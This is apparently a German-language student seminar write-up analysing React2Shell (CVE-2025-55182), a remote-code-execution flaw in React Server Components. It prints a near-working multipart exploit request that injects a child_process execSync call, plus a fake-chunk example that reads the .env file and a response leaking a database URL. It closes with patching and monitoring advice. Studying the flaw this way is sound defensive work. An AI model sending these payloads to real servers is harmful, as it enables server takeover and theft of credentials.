
[Woori FISA] Technologieseminar-Sieger - Cloud Service Development 6. Kohorte Team 3 - Analyse und Forschung von React2Shell (CVE-2025-55182)
Unsere FISA Technologie-Seminar 6. Runde - Team 3 Analyse und Forschung zu React2Shell, einer Remote Code Execution (RCE) Schwachstelle durch Konstruktionsfehler im React Server Component (RSC)

| Mitglied | Rolle | GitHub |
|---|---|---|
| Nam Inseo | Recherche, PPT-Erstellung, Präsentation | @sene03 |
| Yoo Seungjun | Recherche, PPT-Erstellung, Präsentation | @fluanceifi |
| Lee Suhyeon | Recherche, PPT-Erstellung | @hyun793 |
| Kim Yujeong | Recherche, PPT-Erstellung | @yujung23 |
React2Shell (CVE-2025-55182) ist eine kritische Sicherheitslücke, die im Kommunikationsprozess des von React Server Components (RSC) verwendeten Flight Protocol entdeckt wurde.
React verwendet zur Verarbeitung von Komponenten das Flight Protocol, das neben Strings und Arrays auch komplexe Typen wie Promise, Blob, Map unterstützt.
| Ausdruck | Typ | Beschreibung |
|---|---|---|
$$ | Escaped $ | Literal-String, der mit $ beginnt |
$@ | Promise/Chunk | Referenz auf eine Chunk-ID |
Angreifer nutzen Schwachstellen in der Verarbeitung des Protokollstreams, um bösartige Skripte einzuschleusen und die Kontrolle über den Server zu erlangen.
Der Angreifer sendet eine Anfrage mit Next-Action- und multipart/form-data-Headern, um JSON-Daten an den Server zu übermitteln. Dabei wird im Anforderungsbody ein gefälschter Chunk (Fake Chunk) eingefügt, der als Promise-Objekt getarnt ist.
POST / HTTP/1.1
Host: localhost: 3000
[... andere Header ausgelassen ...]
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="0"
{"then": "$1: __proto__: then", "status": "resolved_model" , "reason": -1, "value": "{\"then\": \"$B0\"}" , "_response":
f"_prefix": "var res = process mainModule.require('child_process'). execSync('auszuführender Befehl',
{'timeout': 5000}). toString(). trim(); throw Object.assign(new Error( 'NEXT_REDIRECT'), {digest: ${res} });" {"get":"$1: constructor: constructor"}}}
------WebkitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundary7MA4YWxkTrZu0gW--
'_formData":
// Beispiel für einen vom Angreifer gesendeten gefälschten Chunk
{
"then" : "$1:__proto__:then"
"status" : "resolved_model",
"reason" : -1,
"value" : "{\"then\":\"$B0\"}",
"_response" : {
"_prefix": "execSync('cat .env'); //",
"_formData":{"get": "$1:constructor:constructor"}
}
}
then des gefälschten Chunks wird auf Chunk.prototype.then gemappt._prefix als Argument in die Function.thenable des Promises aufgerufen wird, wird der vom Angreifer eingeschleuste beliebige Code auf dem Server ausgeführt.// Beispielantwort auf die POST-Anfrage
500
0:{"a":"$@1","f":"","b":"sDAZnkg0U4tReIQ4vYjJS"}
1:E{"digest":**"DATABASE_URL='...'"**}
// ReactFlightReplyServer.js - getOutlinedModel()
for (let i = 1; i < path.length; i++) {
value = value[path[i]]; // Hier fehlt der hasOwnProperty-Check!
}
$1:path:to:value teilt React den String anhand des Doppelpunkts (:) auf und durchläuft das Objekt.$1:__proto__:then auf den Prototypen des Chunks und dessen then zugegriffen (Chunk.prototype.then).then eines echten Chunks, und der vom Angreifer beabsichtigte Code wird ausgeführt.Diese Schwachstelle hat im gesamten modernen Web-Ökosystem für erhebliche Unruhe gesorgt.
Der React2Shell-Vorfall hinterlässt die Lehre, dass „auch Frontend-Entwickler die Serversicherheit verstehen müssen“.
Aktualisieren Sie relevante Pakete wie react-server-dom-webpack unverzüglich auf die neueste Version (19.0.1+ etc.)
Frameworks wie Next.js, die RSC integrieren, werden nicht einfach durch ein reines React-Update behoben. Daher sind die Sicherheitsrelease-Notizen des Frameworks selbst zu prüfen und ein Upgrade auf die neueste Version erforderlich.
Nutzen Sie Überwachungssysteme wie Grafana und verbinden Sie diese mit Kommunikationsmitteln wie E-Mail oder Slack, um bei Warnungen sofortige Maßnahmen ergreifen zu können.
Mit der technologischen Entwicklung hat sich der Zuständigkeitsbereich des Frontends erweitert – ebenso hat sich der Umfang der Sicherheitsverantwortung vergrößert.
React2Shell: Vollständige Analyse des CVE-2025-55182-Sicherheitslückenleitfadens
Analyse der React-Server-Komponenten-Sicherheitslücke und des Systemeindringwegs